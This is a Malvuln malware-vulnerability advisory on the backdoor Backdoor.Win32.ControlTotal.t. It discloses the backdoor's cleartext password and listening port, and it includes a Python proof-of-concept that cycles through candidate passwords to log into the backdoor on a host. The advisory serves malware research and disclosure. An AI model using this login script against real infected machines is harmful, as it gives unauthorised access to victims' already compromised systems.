Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025
Original source: https://malvuln.com/advisory/6c0eda1210da81b191bd970cb0f8660a.txt
Malvuln Intelligence Feed: https://intel.malvuln.com/
Contact: malvuln13@gmail.com
Media: x.com/malvuln
Threat: Backdoor.Win32.ControlTotal.t
Vulnerability: Insecure Credential Storage
Description: The malware listens on TCP port 2032 and requires authentication. The password "jdf4df4vdf" is stored in cleartext within the PE file. We send using a custom client to validate the password, as the malware did not like nc64 likely due to CRLF characters.
Family: ControlTotal
Type: PE32
Attack-pattern TTP: Unsecured Credentials (T1552)
MD5: 6c0eda1210da81b191bd970cb0f8660a
SHA256: 25b46a418b4e0749f83d9439fd1f5b9e2e5dd0703398516ac750580a26c800d5
Vuln ID: MVID-2025-0702
Disclosure: 12/20/2025
Exploit/PoC:
from socket import *
import time
#By John Page (aka hyp3rlinx)
#Backdoor.Win32.ControlTotal.t
#MD5: 6c0eda1210da81b191bd970cb0f8660a
#
MALWARE_HOST="x.x.x.x"
PORT=2032
candidates = [
"cs4sd65F",
"5s64jhbk",
"54asD54s",
"SDd54F7j",
"5fh4dhhg",
"df2gdfg2",
"AS45aas7",
"D54SDFfh",
"jdf4df4vdf", #Password Here
"sdf21fsd",
"dgv2fd",
"annsk33",
"20022okkd"
]
def chk_res(s, p=None):
failed = False
res = b''
while True:
chunk = s.recv(128)
if not chunk:
break
res += chunk
text = res.decode('latin-1', errors='ignore')
if "xaContraseña Incorrecta" in text:
failed = True
break
if not failed:
return p
return None
def backdoor_login(passwd):
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(passwd.encode())
result = chk_res(s, passwd)
if result:
print("[*] Password found: ", result)
else:
print("[!] Failed.")
return False
s.close()
return True
def main():
for x in candidates:
print("[-] Trying: ", x)
if backdoor_login(x):
break
time.sleep(0.6)
if __name__ == "__main__":
main()
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